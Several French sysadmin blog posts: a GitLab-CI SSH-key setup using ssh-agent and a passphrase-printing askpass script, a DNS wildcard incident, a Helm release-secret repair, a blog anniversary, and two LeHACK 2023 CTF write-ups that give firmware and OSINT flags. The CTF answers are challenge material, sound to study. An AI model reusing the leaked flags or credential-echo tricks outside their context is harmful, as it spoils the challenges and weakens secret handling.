LĂ , ça m’a pris beaucoup moins de temps, et la solution finale Ă©tait tout prĂšs, il manque le shebang au script que je fournis (.print_ssh_password). Au passage, et contrairement Ă  la majoritĂ© des posts que j’ai pu lire sur le sujet, j’utilise une base python-alpine pour le job et pas Debian/Ubuntu, ce n’est donc pas bash qui est aux commandes, et donc il faut adapter un chouia la sĂ©quence, mais ça a donnĂ© ça :

script:
  - echo "[SSH]Initialisation Clé"
  - |
    mkdir ~/.ssh && chmod 700 ~/.ssh
    echo -ne '#!/bin/sh\necho $passphrase' > ~/.ssh/.print_ssh_password
    chmod 700 ~/.ssh/.print_ssh_password
    eval $(ssh-agent)
    echo "$key" | tr -d '\r' | DISPLAY="None" SSH_ASKPASS=~/.ssh/.print_ssh_password ssh-add -
  - echo "[INFO] Ping du serveur"
  - ansible linux_server -m ping -i inventories/$ANSIBLE_INVENTORY -vvvvvv

Ouais, la brochette de v Ă  la fin permet d’avoir le moindre bout de message d’erreur, franchement abusez-en pendant une telle opĂ©ration c’est super pratique.

Donc, qu’est-ce qu’on a fait ? En amont, via Vault, on rĂ©cupĂšre la clĂ© privĂ©e dans la variable key et sa passphrase dans la variable passphrase, rien de trĂšs original lĂ -dedans. En passant, comme cette rĂ©cupĂ©ration se fait pendant l’exĂ©cution du job, job qui se lance dans un runner Kubernetes, il n’y a pas de stockage persistant de ces variables. On crĂ©e le dossier .ssh avec les bonnes permissions Ă  la racine du dossier utilisateur de l’image, et on y place un petit script dont le seul rĂŽle est d’afficher le contenu de la variable passphrase. On dĂ©marre le ssh-agent, puis on traite le contenu de la variable key (pour virer d’éventuels retours chariot Ă  la Windows), avant de l’envoyer Ă  ssh-add (le tiret Ă  la fin permet de dire qu’on lui envoie la clĂ© directement, sans passer par un fichier), Ă  qui on prĂ©cise les variables DISPLAY et SSH_ASKPASS pour Ă©viter de chercher Ă  poser la question Ă  un humain, la rĂ©ponse Ă©tant directement fournie par le script.

Le résultat est sans appel:

linux_server | SUCCESS => {
    "ansible_facts": {
        "discovered_python_interpreter": "/usr/bin/python"
    },
    "changed": false,
    "invocation": {
        "module_args": {
            "data": "pong"
        }
    },
    "ping": "pong"
}

« Ă‡a serait pas arrivĂ© avec Kubernetes Â»

C’est vrai quoi, une API finalement c’est mieux pour faire tout ça non ?

J’avais envie de troller un peu, mais plus sĂ©rieusement, Ă©tant donnĂ© qu’il y a aussi un annuaire pour gĂ©rer les connexions utilisateurs sous Linux, je suis surpris que la mĂ©thode repose sur ce genre de mĂ©canisme avec un compte local et une clĂ© SSH et pas un compte technique de la mĂȘme nature que pour les Windows, ce qui aurait simplifiĂ© le processus tout en harmonisant les configurations.

En tout cas, j’étais soulagĂ© et heureux d’avoir pu trouver la solution et continuer mes migrations. Et vous, vos connexions SSH dans Gitlab-CI, vous les gĂ©rez comment ?

  •  

DNS: faisez gaffe aux wildcard !

Encore un dĂ©terrage de brouillon, sur un problĂšme qui doit ĂȘtre toujours d’actualitĂ© dans son concept. Un ProblĂšme surprenant (pour les pros du DNS peut-ĂȘtre pas), mais voilĂ , on a eu droit Ă  un incident inattendu, que je voulais partager pour sa bizarrerie apparente. Parce que si j’ai trouvĂ© la solution assez rapidement, il m’a fallu du temps pour comprendre, et je suis pas encore certain d’avoir tout intĂ©grĂ©, mĂȘme deux ans et demi aprĂšs.

Pour fournir une rĂ©solution souple aux clients sur leur plateforme Kubernetes (parce que pourquoi pas), on leur a fourni un alias Ă  configurer sur leur propre zone, histoire de ne pas avoir Ă  dĂ©pendre d’eux pour d’éventuelles migrations/reconfigurations dĂ©mĂ©nagements. Cet alias repose sur une fonctionnalitĂ© du DNS, les wildcard. Ça donne quelque chose dans ce genre-lĂ  :

#notredomaine.fr

prd    A    1.2.3.4
sta    A    5.6.7.8
*.prd CNAME prd
*.sta CNAME sta

On l’aura compris, « prd Â» c’est le cluster de prod, « sta Â» le cluster de staging. De leur cĂŽtĂ©, les clients dĂ©clarent l’alias dans leur propre zone :

www.domainX.com    CNAME    www.domainX.com.prd.notredomaine.fr

Dans une situation simple, classique, c’est l’alias *.prd qui prend en charge et fournit la rĂ©ponse aux clients qui cherchent Ă  joindre un des domaines concernĂ©s par ce dispositif. Ah, et en passant, on ne peut pas appliquer un CNAME Ă  l’apex (autrement appelĂ© la racine) d’un domaine (RFC je sais plus, demandez Ă  votre moteur de recherche). Et si vous vous demandez pourquoi un tel setup, c’est qu’on se sert aussi d’un tel « domaine technique Â» (comprendre un domaine diffĂ©rent de celui du vrai site et gĂ©rĂ© par nos soins) pour pouvoir tester le site dans diffĂ©rentes situations sans reposer sur le nom de domaine du client, notamment pendant certaines phases de validation, et pour pouvoir gĂ©rer ça au niveau des Ingress Rules.

DĂ©placement d’Ingress Controller, arrivent les problĂšmes

Eh oui, parce que la vie est ainsi faite, on nous demande de dĂ©ployer un Ingress Controller particulier avec des paramĂštres bien prĂ©cis, donc une nouvelle adresse IP, et de dĂ©placer certains des sites derriĂšre celui-ci. Je vais pas dĂ©tailler la partie « kube Â» de ce dispositif, c’est assez trivial en principe (cherchez ingressClass si vraiment vous voyez toujours pas), mais voilĂ  comment on prĂ©pare cĂŽtĂ© DNS :

prd-private    A    4.3.2.1
*.prd-private    CNAME    prd-private

Et quand on doit bouger www.domain2.com, avec notre dispositif, avec le Go du client, j’applique la modif cĂŽtĂ© cluster et je dĂ©place de maniĂšre explicite cĂŽtĂ© DNS de mon cĂŽtĂ©:

www.domain2.com.prd    CNAME    prd-private

Et lĂ , patatras. Quand un collĂšgue est venu me voir au bout d’un quart d’heure, en me disant qu’un autre domaine sans rapport avec ma modification Ă©tait tombĂ©, et ayant l’historique prouvant que j’étais le dernier Ă  avoir modifiĂ© notre zone notredomaine.fr, il est clair que l’effet de bord n’avait pas Ă©tĂ© correctement anticipĂ©. Mais quel effet me direz-vous, sachant qu’on avait testĂ© en staging avant sans avoir dĂ©tectĂ© ce genre de comportement ?

Le premier indice, c’est que tous les domaines ne sont pas concernĂ©s. Sur les 4 alertes qui sont apparues, le point commun est que toutes les URLs ont des domaines en .com. Le second, c’est que ma modif fonctionne pour mon propre domaine. Au bout de cinq minutes, je dis Ă  Camille : « je suis pas sĂ»r mais je tente un truc Â». J’ai rajoutĂ© une ligne :

*.com.prd    CNAME    prd

Et ça rĂ©pond Ă  nouveau. J’ai eu du pif, mais j’avoue que sur le moment, c’est plus de l’instinct qu’autre chose, et j’aurais Ă©tĂ© bien en peine d’expliquer pourquoi, mais au niveau du comportement, on voit maintenant ce qui se passe. Je vais essayer de formuler du mieux possible ce que j’en ai compris.

Explication pas forcément claire

Pour rappel, dans le DNS les domaines fonctionnent par niveau, chaque niveau est sĂ©parĂ© par un point. On parle souvent de « sous-domaine Â», mais c’est un abus de langage, en pratique, chaque niveau dispose des mĂȘmes fonctionnalitĂ©s et propriĂ©tĂ©s, ils hĂ©ritent de certaines caractĂ©ristiques, le systĂšme Ă©tant hiĂ©rarchique (com, domain.com, www.domain.com, etc). Dans le cas qui nous occupe, tant qu’on avait qu’un seul wildcard pour tout ce qui concernait les niveaux au dessus de prd.mondomaine.fr, le rĂ©solveur ne se posait pas trop de questions et rĂ©pondait Ă  tout. Mais quand j’ai dĂ©clarĂ© www.domain2.com.prd dans mondomaine.fr, j’ai donc dĂ©clarĂ© au moins une entrĂ©e sur .com.prd. À partir de ce moment-lĂ , cette dĂ©claration explicite exclut toutes les autres rĂ©ponses par le wildcard. La seule solution de contournement implique de dĂ©clarer un wilcard supplĂ©mentaire pour ce niveau spĂ©cifiquement afin de retrouver un comportement initial.

Pourquoi ce comportement ? Eh bien, comme je l’ai dit, les domaines sont gĂ©rĂ©s par niveau, et il faut savoir que chaque niveau peut ĂȘtre dĂ©lĂ©guĂ© / gĂ©rĂ© par un rĂ©solveur diffĂ©rent. DĂšs lors, dĂ©clarer une entrĂ©e spĂ©cifique pour un niveau implique que le rĂ©solveur arrĂȘte d’appliquer les propriĂ©tĂ©s des niveaux prĂ©cĂ©dents aux niveaux suivants, ce que permet justement le wildcard. Et c’est logique, si un niveau contient des informations (ici au moins un CNAME), si jamais il est dĂ©lĂ©guĂ©, on n’est pas censĂ© rĂ©pondre Ă  la place dudit dĂ©lĂ©guĂ©. Certes ici c’est le mĂȘme, et donc il aurait pu continuer de rĂ©pondre. Il faut se souvenir que le systĂšme de DNS remonte Ă  1983, et mĂȘme s’il a Ă©tĂ© mis Ă  jour Ă  la marge, la majoritĂ© du fonctionnement intrinsĂšque n’a pas bougĂ©, et cette gestion en niveaux en fait partie.

On évite les wildcard alors ?

Certains diront oui, mais dans le monde rĂ©el, parfois c’est plus pratique/Ă©vident de faire avec (tout le monde ne peut pas composer avec de la rĂ©solution dynamique comme le fait Kubernetes en interne). Ici, la solution la plus pratique aurait Ă©tĂ© de supprimer l’utilisation des .com/.fr/.it/.whatever des alias, et ne garder que le nom sans le TLD, ce qui aurait rendu chaque entrĂ©e plus unique et donc limitĂ© l’impact de l’exclusion du wildcard global du « calcul Â» de la rĂ©ponse.

Dans certaines situations, dĂ©lĂ©guer le niveau de l’alias est une solution plus adaptĂ©e, notamment dans le cadre de l’usage certains outils comme les CDN Cloudflare ou Akamai, ainsi ils se chargent notamment de la mise Ă  jour dynamique de la ou les adresses IP par lesquelles vous passez. Certains utilisent aussi du DNS « gĂ©ographique Â», Ă  savoir donner une rĂ©ponse diffĂ©rente en fonction de lĂ  oĂč vous vous trouvez sur le rĂ©seau (plus ou moins corrĂ©lĂ© Ă  votre emplacement physique), rĂ©ponse qui doit pointer sur un serveur plus proche et donc plus « performant Â». Bref, vous l’aurez compris, le wildcard dans le DNS n’est pas toujours la solution la plus adaptĂ©e, et ce problĂšme rencontrĂ© en production est lĂ  pour le rappeler.

Ah, et pour ceux qui pensent qu’on aurait pu juste tout dĂ©clarer manuellement, quand on pense une plateforme pour de l’hĂ©bergement massif, semi-dynamique, et qu’on a pas les API / accĂšs pour gĂ©rer la zone programmatiquement, et qu’on a passĂ© les 50 sites, ben utilise les wildcards DNS « Ă©picĂ©tou Â» 😛

  •  

Helm : erreur au dĂ©ploiement suite Ă  la suppression d’API

On a beau concevoir des chaĂźnes d’intĂ©gration et de dĂ©ploiement continu pour que les mises Ă  jour frĂ©quentes de sites web soient facilitĂ©es, il arrive tout de mĂȘme de temps en temps que des projets « zombies Â» traĂźnent sur une plateforme hĂ©bergeant de nombreuses applications gĂ©rĂ©es par des Ă©quipes diffĂ©rentes. Et si vous faites correctement votre travail de maintenance d’infrastructure de votre cĂŽtĂ©,  ben parfois, on tombe sur un gros os.

Si vous pensez que l’article ne sert à rien ou presque, allez jusqu’au post-scriptum 😉

Sur cette plateforme, les livraisons se font avec Helm. Depuis Helm 3, l’historique de livraison est stockĂ© dans des secrets Kubernetes dans le namespace cible. Il faut savoir que lors d’une livraison, das les grandes lignes voilĂ  ce que fait Helm :

  1. « Compiler Â» les manifestes Ă  partir des templates et des variables fournies (fichiers values, --set)
  2. Comparer le résultat à celui de la précédente livraison
  3. Interroger l’API Server pour vĂ©rifier la prĂ©sence des objets de cette prĂ©cĂ©dente livraison
  4. Générer/supprimer/patcher les ressources concernées par des modifications, ce qui correspond de fait à la livraison
  5. Stocker le rĂ©sultat dans un nouveau secret quand la livraison s’est dĂ©roulĂ©e correctement.

C’est Ă  l’étape de l’interrogation qu’on peut se retrouver dans un sacrĂ© blocage avec ce genre d’erreur :

Error: UPGRADE FAILED: unable to build kubernetes objects from current release manifest: resource mapping not found for name: "ing-pwapriv" namespace: "" from "": no matches for kind "Ingress" in version "extensions/v1beta1"
ensure CRDs are installed first
helm.go:84: [debug] resource mapping not found for name: "ing-pwapriv" namespace: "" from "": no matches for kind "Ingress" in version "extensions/v1beta1"

Au dĂ©but j’ai pas trop compris, parce que je pensais que c’était les manifestes de livraison de l’application qui posaient problĂšme, mais Ă  l’évidence, la vĂ©ritĂ© Ă©tait ailleurs. Et de fait, on a dĂ©couvert que si les manifestes avaient bien Ă©tĂ© rafraĂźchis via un script un an auparavant, le commit contenait la mention magique [skip-ci]. Ce qui ne serait pas plus choquant que ça si dans le mĂȘme temps l’agence web n’avait pas pris plus d’un an pour mettre Ă  jour le site web
 Ce qui veut dire que la derniĂšre livraison contient des manifestes dont l’apiGroup de l’ingressRule n’existent plus.

Et lĂ , ça a Ă©tĂ© l’aventure pour trouver une solution. On pourrait simplement « dĂ©sinstaller Â» le site, et le rĂ©installer. Mais je suis moyennement fan, parce que ça va crĂ©er une indisponibilitĂ© alors qu’on pourrait s’en passer, mĂȘme si on est confiant sur la sĂ©curitĂ© des donnĂ©es (le volume NFS est en retain et la BDD ne bougera pas), je cherche une alternative.

DĂ©jĂ  quand on dĂ©couvre le format du secret. Par dĂ©faut, quand on tente de rĂ©cupĂ©rer le YAML ou le JSON du secret, on est face Ă  un contenu encodĂ© en bas64; jusque lĂ , c’est normal. Mais il fait une taille consĂ©quente, et quand on le dĂ©code
 Ben c’est toujours illisible, et pour cause : c’est encore du base64. Mais si on le dĂ©code une deuxiĂšme fois, on est face Ă  un truc illisible, en tout cas pour l’instant.

La gueule du contenu


Car le rĂ©sultat, si on le met dans un fichier, est au format GZIP. Une fois dĂ©codĂ©, on est face
 Ă  un JSON qui contient, de maniĂšre sĂ©rialisĂ©e, les manifestes au format YAML, y compris le coupable. Oui, sĂ©rialisĂ©e. AprĂšs avoir Ă©pongĂ©e la grosse goutte de sueur qui venait de perler, j’entame la marche pour corriger :

  1. Identifier la section de la loooongue chaĂźne de caractĂšres correspondante au manifeste fautif,
  2. La copier/coller dans un éditeur
  3. Rétablir le formattage YAML (remplacer les \n par de vrais retours à la ligne)
  4. Modifier le manifeste (non seulement la ligne de l’apiGroup, mais toute la dĂ©finition de la partie service)
  5. Reconvertir les retours Ă  la ligne en \n pour retrouver la ligne unique
  6. Remplacer la section fautive par la version corrigée dans le JSON.

Il ne reste ensuite qu’à recompresser et double/base64-iser le contenu dans une copie corrigĂ©e du manifeste du secret, et donc Ă©craser l’historique. Le plus gros challenge dans ce foutoir est de ne pas se planter sur l’indentation. Une fois qu’on a modifiĂ© le secret, si on se rate on est bon pour supprimer/recrĂ©er le secret.

Avant de retenter la livraison, on peut justement vĂ©rifier avec helm get manifest, s’il n’y a pas d’erreur on peut dĂšs lors retenter la livraison qui devrait passer (en tout cas ça a Ă©tĂ© bon pour moi), mĂȘme si techniquement on vient de réécrire l’histoire. Et comme ça on Ă©vite le gros downtime de la dĂ©sinstallation/rĂ©installation du site.

L’intĂ©rĂȘt de se faire « mal Â»

DĂ©jĂ , j’en ai appris beaucoup sur le process de livraison de Helm, parce que j’avoue que depuis que je m’en sers, je m’étais plutĂŽt concentrĂ© sur les problĂšmes liĂ©s au templating, le reste c’était un peu « ta gueule c’est magique Â». Surtout, les deux heures qu’ils m’aura fallu pour trouver cette solution sans interruption de service (le site Ă©tait toujours debout, rien n’avait Ă©tĂ© modifiĂ©), elles auront Ă©tĂ© rentabilisĂ©es car trois autres sites ont depuis Ă©tĂ© pris du mĂȘme mal, et lĂ , on parle d’une dizaine de minutes grand max pour chaque nouvelle occurrence rencontrĂ©e. Et la mĂ©thode fonctionne quelque soit le type d’objet problĂ©matique (parce qu’entre temps, y’a les CronJobs et les PDB qui se sont mis Ă  rĂąler aussi, sinon c’est pas drĂŽle).

Il y a plein de rĂ©flexions Ă  avoir pour mieux se prĂ©munir de ce genre d’erreurs, mais elles sont pour beaucoup spĂ©cifiques aux choix de design fait par le client, notamment la sĂ©paration du code du site de la gestion de la livraison (build docker & helm). La difficultĂ© de devoir gĂ©rer quasiment 200 projets sur cette plateforme fait qu’on ne peut pas non plus Ă©viter complĂštement les erreurs, notamment sur les quelques projets qui ne respectent pas les modĂšles qu’on a mis en place.

Je n’ai pas non plus complĂštement sorti la mĂ©thode de nulle part. Mais l’article qui m’a guidĂ© vers la solution finale est avare en dĂ©tail, parle du networking.k8s.io/v1beta1 (donc moins chiant Ă  remplacer), ce qui fait qu’il a juste scriptĂ© le bousin sans plus de cĂ©rĂ©monie. Au moins lĂ  on a les explications du pourquoi du comment 🙂

Post Scriptum

Ouais, vu ce que j’ai Ă  dire encore aprĂšs tout ça, ça tient pas sur une seule ligne. DĂšs le titre, certains auront pensĂ© « mais en fait c’est dans la doc Â», « mais y’a un plugin Â». Il s’avĂšre que oui, sur la mĂȘme page, on a la mĂ©thode manuelle complĂšte, et la mention d’un plugin « kubemapapis Â» qu’ont d’ailleurs dĂ©couvert les collĂšgues vietnamiens quelques semaines plus tard, se facilitant dĂšs lors trĂšs fortement la vie. Mais il se trouve que j’ai dĂ©marrĂ© l’écriture de cet article il y a pratiquement deux ans (j’ai mĂȘme changĂ© d’entreprise entre temps, c’est dire), la documentation n’était pas nĂ©cessairement aussi explicite Ă  l’époque, et je pense que malgrĂ© tout, ma recherche de la solution manuelle permettant de se pencher sur le format des informations manipulĂ©es par Helm reste pertinente 😉

  •  

Pu
 11 ans !

Simili vulgaire, ouais, ne serait-ce que parce que j’ai ratĂ© l’étape symbolique des 10 ans. Mais c’est un fait : le premiĂšre article du blog date de Septembre 2013 (le 21 pour ĂȘtre prĂ©cis, pile au dĂ©but de l’automne); techniquement on peut mĂȘme dire que j’ai ratĂ© les 11 ans. Il en aura vu passer des vertes et des pas mĂ»res, de mes expĂ©rimentations d’alors, de mes changements de vie aussi, et mĂȘme s’il est moins qu’actif ces derniĂšres annĂ©es, je n’ai pas non plus prĂ©vu de « dĂ©brancher la prise Â».

Le calme plat de la technique

Il a beau avoir changĂ© de tĂȘte et d’activitĂ© au fil des ans, une chose n’a pas changĂ© : WordPress. Le vĂ©nĂ©rable moteur de blog Ă©crit en PHP a vu passer de la version du langage de 5.4 Ă  7.4 actuellement, avec un futur assez proche Ă  8.1/8.2 en fonction de mon niveau de confiance (vu la gueule du dernier live – ah oui, j’en parle juste aprĂšs-, c’est pas pour tout de suite le temps de tout rĂ©gler, pas merci SELinux). Et je ne vais pas me risquer Ă  lister les versions mĂȘme de WordPress. Par contre, exit le vieillissant Debian 8, dont ce n’était mĂȘme pas la premiĂšre maison. Je ne me souviens plus bien si c’était la mĂȘme version depuis le dĂ©but, Ă  savoir de Debian 5 Ă  Debian 8, en passant par 6 et 7; dire que dans le billet des 5 ans je parlais de rĂ©installer une Debian 10
 PassĂ© d’Apache Ă  Nginx, de PHP « module Â» Ă  PHP-FPM, ajout de Redis pour calmer les ardeurs des entrĂ©es/sorties du vieillissant matĂ©riel
 Toutes ces choses sont dĂ©sormais sur un RockyLinux 9 parti pour durer. Bon ça c’était pour la technique.

Le blog a pour l’instant eu trois « visages Â», Responsive, Simone, Momentous, sachant que le deuxiĂšme a Ă©tĂ© l’occasion pour moi de commencer Ă  expĂ©rimenter les thĂšmes enfants, mĂ©thode privilĂ©giĂ©e pour apporter ses propres modifications Ă  un thĂšme dĂ©jĂ  fourni, bien pratique quand mes propres compĂ©tences dans le dĂ©veloppement sont plus que limitĂ©es. Bon par contre Momentous n’a pas Ă©tĂ© mis Ă  jour depuis deux ans semble-t-il (ou alors c’est un effet de bord du problĂšme de version de WordPress et/ou de prĂ©requis, comme pour les plugins), donc mĂȘme en ayant eu la flemme de changer de thĂšme y’a trois ans il semble que je ne vais pas y couper. Reste Ă  savoir quelle sera la nouvelle base. DĂ©jĂ  en 2013 j’avais visĂ© une lecture agrĂ©able sur mobile en plus du PC, ça n’est pas prĂšs de changer. L’édition est plus problĂ©matique, mais pour la sĂ©curitĂ© je ne peux plus utiliser l’application mobile, ceci Ă©tant dit, vu ma productivitĂ© quasi nulle on va dire que ce n’est pas trĂšs grave hein 🙂

En fait en parlant de base, plus ça va et plus je me pose la question de quitter WordPress. Je ne publie plus assez souvent pour le justifier, mĂȘme sur les derniers articles les commentaires ne se sont pas bousculĂ©s, donc il y a rĂ©flexion Ă  changer de moteur, et d’allĂ©ger le tout pour passer à
 (roulement de tambours) un SSG, en français un gĂ©nĂ©rateur de site statique. Original, non ? Nouvelle mĂ©thode de construction, nouvelle mĂ©thode de production de contenus, une lĂ©gĂšretĂ© Ă  toute Ă©preuve (surtout que le serveur Hetzner est back par un SSD), y’a de quoi s’amuser trĂšs fortement en prĂ©parant une telle migration.

Une activitĂ© dans les chaussettes, mais ce n’est pas trĂšs grave non plus

11 ans
 À l’époque j’avais utilisĂ© une mĂ©taphore scolaire pour parler des 5 ans, on approcherait donc du collĂšge. Et malgrĂ© un ralentissement dĂ©jĂ  visible Ă  l’époque, de plus en plus important, la diversitĂ© des sujets est restĂ© un moteur de mon Ă©criture, ce qui n’est pas pour me dĂ©plaire. MĂȘme si certains articles ont bien mieux vieillis que d’autres. Linux Ă©videmment, administration systĂšme, streaming, auto-hĂ©bergement, hacking, hardware, jeu vidĂ©o, cinĂ©ma, et j’en passe, je ne me suis pratiquement rien interdit comme sujets Ă  partir du moment oĂč j’avais, selon moi, un Ă©clairage suffisamment rare ou intĂ©ressant Ă  partager. Et s’il fallait avoir quelques regrets, c’est d’avoir perdu l’envie du partage des petites astuces du quotidien, et Ă©videmment les gros articles de vulgarisation. Vu le niveau toujours abyssal de la population gĂ©nĂ©rale sur les questions numĂ©riques au sens large, il est toujours plus que nĂ©cessaire de tenter de les rattraper au vol.

Sauf qu’en ce moment, il n’y a pas plus de motivation que ces deux derniĂšres annĂ©es (trois/quatre mĂȘme ?) pour marquer le coup, ni faire Ă©voluer le contenu en profondeur. Mais le paysage de la publication a bien changĂ© aussi. MĂȘme si j’ai toujours Ă  cƓur de partager ce que j’apprends, j’essaie quand mĂȘme d’y mettre un intĂ©rĂȘt : il y a dix ans, je ne trouvais pas beaucoup de ressources notamment en Français sur les sujets qui m’intĂ©ressaient, sans parler d’un environnement de vie plus que propice Ă  la vulgarisation. Sur ce dernier point en particulier j’ai dĂ©jĂ  eu l’occasion de m’exprimer sur mon abandon, qui a les mĂȘmes motivations que pour le reste du contenu : en 10 ans, la donne a bien changĂ©, je continue d’apprendre toujours plus en particulier dans ce que j’appelle la Galaxie Kubernetes (certains diront la Jungle, je valide aussi :D) mais je ne trouve aucun angle particulier qui justifierais de partager ce que j’ai dĂ©jĂ  appris car d’autres s’en chargent gĂ©nĂ©ralement avant moi, et en Français qui plus est; si c’est pour faire le perroquet, donc du bruit pour pas grand chose de plus
 Ce n’est pas comme si je courais aprĂšs les statistiques, les avoir est toujours intĂ©ressant, mais ce n’est pas un critĂšre dĂ©terminant. D’autant plus que Google continue de rĂ©fĂ©rencer correctement le blog malgrĂ© son activitĂ© plus que limitĂ©e, sans que je comprenne trop pourquoi ou comment vu que je n’ai jamais cherchĂ© Ă  optimiser quoi que ce soit Ă  ce sujet. Aussi mon expertise rĂ©cente est basĂ©e sur des environnements d’hĂ©bergement que je n’ai pas forcĂ©ment Ă  cƓur de partager avec vous, parce que j’estime que ce n’est pas nĂ©cessaire (Google Cloud, Microsoft Azure), car si je m’en contente au niveau professionnel, je n’ai aucunement envie de leur faire de la publicitĂ© auprĂšs du « grand public Â».

Activité du blog, allégorie

Un intĂ©rĂȘt qui se porte ailleurs

Quand je dis que je ne trouve plus rien Ă  partager, c’est presque faux. Je ne trouve plus d’intĂ©rĂȘt pour l’instant Ă  partager Ă  l’écrit sur ce blog. AprĂšs un constat sur l’absence de rĂ©elles expĂ©rimentations dans le cadre de ma veille technique (ce qui peut ĂȘtre une grosse erreur sur certains points complexes), et devant la tristesse de bricoler tout seul dans mon coin, j’ai dĂ©cidĂ© de tenter l’aventure « Streaming Â», histoire d’amener un peu d’interactivitĂ© dans ces sessions de dĂ©couvertes. Certains Ă©pisodes relĂšvent plus de la reprise de maintenance, un exercice que finalement on voit peu en termes de contenu. Il est facile de trouver un milliards de tuto pour dĂ©ployer une techno, une plateforme, un service, mais rarement pour parler maintenance, mises Ă  jour, rĂ©paration, migration.

Sujet intĂ©ressant que le streaming, que ce soit en termes techniques en local (setup, qualitĂ© de la composition de l’image), mais surtout en termes rĂ©seau. AprĂšs un week-end de prĂ©paration sans accroc sur YouTube (parce que j’avais dĂ©jĂ  le compte), la premiĂšre session un vendredi soir s’est avĂ©rĂ©e catastrophique en terme de stabilitĂ© rĂ©seau. Et j’aurai persistĂ© deux autres sessions de plus avant de lĂącher l’affaire pour crĂ©er un compte Twitch. C’est lĂ  qu’on voit la diffĂ©rence en termes d’investissement sur la performance rĂ©seau, en particulier en Europe, sans parler des pratiques de nos propres opĂ©rateurs en matiĂšre de routage et d’interconnexions. Le problĂšme de Twitch, qui l’est un peu moins pour du contenu comme le mien, peu nerveux, c’est le retard sur les technologies d’encodage, d’autant plus en Ă©tant conservateur sur le dĂ©bit max (ce qui n’est pas forcĂ©ment une mauvaise chose dans l’absolu, notez bien). Je peux comprendre l’impasse faite sur H265 Ă  cause du coĂ»t des licences pour les encodeurs et la diffusion, mais AV1 bordel ! Ceci dit, vu le retard sur les encodeurs matĂ©riels qui permettent un meilleur traitement temps rĂ©el, en partie liĂ© Ă  la pandĂ©mie, possible que ça ait pris du retard. Mais quand on voit que Google le supporte dĂ©sormais, un tel immobilisme fait un peu chier de la part d’un gĂ©ant comme Amazon (car oui, pour ceux qui dĂ©barqueraient, Twitch appartient Ă  Amazon).

Le setup du soir oĂč j’ai dĂ©montĂ© mon laptop 🙂

Peertube ? J’expĂ©rimenterai certainement, forcĂ©ment en auto-hĂ©bergement, pas forcĂ©ment chez moi, parce que j’ai pas une bande passante de malade, mais pas forcĂ©ment sur mon serveur allemand non plus, le volume rĂ©seau est pas illimitĂ© lĂ -bas. Depuis que j’ai dĂ©couvert ce formidable logiciel, je verses ma petite dĂźme mensuelle Ă  Framasoft pour continuer de soutenir son dĂ©veloppement. Et je rĂ©flĂ©chis rĂ©guliĂšrement Ă  rapatrier les vidĂ©os que j’avais produite pour le blog ailleurs que sur Youtube. Cette externalisation Ă  l’époque permettait de palier aux ressources problĂ©matiques du serveur OVH de l’époque, sans parler de la conso de bande passante, ce dernier point reste toujours valide, mon serveur n’a « que Â» 20To de « data Â» (et 1 Gbps de bande passante). À la limite avec une instance non fĂ©dĂ©rĂ©e dĂ©diĂ©e Ă  l’hĂ©bergement des vidĂ©os pour le blog, mais un autre problĂšme survient trĂšs vite car rien n’est gratuit : le stockage ! La vidĂ©o ça pompe pas du rĂ©seau par hasard, ça prend masse de place. En un an et demi, ça prend 300Go, le serveur au total n’a que 512Go.

TL;DR : tout va bien

En gros : j’ai mis un an et demi pour Ă©crire cet article (oui, ça aurait du sortir pour les 10 ans), j’ai fait du chemin, je suis plus actif sur Twitch qu’ici, je ne fermerai pas le blog, par contre il ne restera pas Ă©ternellement dans cet Ă©tat, Ă  maintenir la mĂ©canique en dessous sans que ça n’apporte au final grand chose pour tout le monde, moi en premier. Sa nĂ©cessaire mutation me redonnera peut-ĂȘtre goĂ»t Ă  l’écriture, sait-on jamais. Comme d’habitude, il faudra que ça apporte un point de vue intĂ©ressant que je n’ai pas dĂ©jĂ  vu, Ă©crit ou entendu dix fois ailleurs 😉

  •  

Writeup #LeHACK 2023, 48 meters underground

LĂ , on monte d’un cran, fini la crypto, la stĂ©gano ou l’OSINT, c’est de la bricole avec du firmware d’alarme Ă  pression connectĂ©e. Et je dois mettre le crĂ©dit du rĂ©sultat Ă  Djerfy pour cette fois.

Voici la description :

Guide the backup team that’s coming up from a tunnel. Get access to one of the pressure sensitive alarm and find a way to get access to disarm all.
Flag is on the format leHACK{password}

Oui, parfois on nous donne le format du flag parce que le contenu n’est pas forcĂ©ment explicite (comprendre, il n’y a pas de « leHACK Â»). Cette description s’accompagne donc du fichier firmware.bin, qu’il va falloir travailler. En effet :

file firmware.bin
firmware.bin: Linux kernel ARM boot executable zImage (big-endian)

zImage, ça veut dire que c’est compressĂ©. AprĂšs une petite recherche Google, on tombe sur ce script fourni par nul autre que le crĂ©ateur du noyau Linux, Linus Torvalds :

LĂ , on a plusieurs possibilitĂ©s. J’ai entendu des voisins monter l’image dĂ©compressĂ©e et tenter de trouver l’emplacement du mot de passe en question, Ă  partir notamment des dates de modifications de fichiers. JĂ©rĂ©my l’a fait un peu plus brut de dĂ©coffrage, en parcourant directement le fichier image avec vim, mix monstrueux entre sĂ©quences de fichiers textes et sĂ©quences binaires. Et si on Ă©tait attentif, voilĂ  ce qu’on trouve :

config login 
        option username 'root'  
        option password '$p$root'
        list read '*'           
        list write '*'

w4ll_h1dd3n_p13c3_<-_->
config network 
        option init network
        list affects dhcp
        list affects radvd

config wireless

C’est basique, mais comme on dit, c’est le rĂ©sultat qui compte 😛

  •  

Writeup #LeHACK 2023, Where is Wally

Cette annĂ©e encore, et dans la continuitĂ© de la mise en avant de la pratique de l’OSINT, une petite chasse aux infos Ă  partir d’une image, qui va servir pour deux challenges que je vais regrouper ici.

Une fois de plus, la petite description :

Charlie is feeling a little tired and lost, he has just exited the building to his left, where he
had been for a few weeks. His GPS no longer works.

Where is Charlie ?

Oui, on a un mĂ©lange entre la version anglaise et française de « OĂč est Charlie ? Â» Mais bref, on a comme info une unique image :

Pour ma part, et pour plusieurs voisins, si on ne connait pas le bĂątiment, on est bon pour faire de la recherche par image (avec Google, si vous avez d’autres sites intĂ©ressants qui le proposent, faites-vous plaisir). Évidemment, avec l’image complĂšte ça ne fonctionne pas du tout sinon c’est trop facile. Mais si certains voisins avaient aussi Ă©chouĂ©s avec un dĂ©coupage de l’image, Juliette, merci Ă  elle, a rĂ©ussi. Il s’agit du sanctuaire Notre-Dame de Fatima – Marie MĂ©diatrice, À Paris dans le 19Ăšme arrondissement. Oui mais, on nous dit bien dans la description que c’est le bĂątiment Ă  la gauche. Et Ă  cĂŽtĂ© du sanctuaire, avec un outil de carte, on voit qu’il y a l’hĂŽpital Robert DebrĂ©. Le challenge :

LeHACK{Robert_Debre}

Mais c’est pas fini !

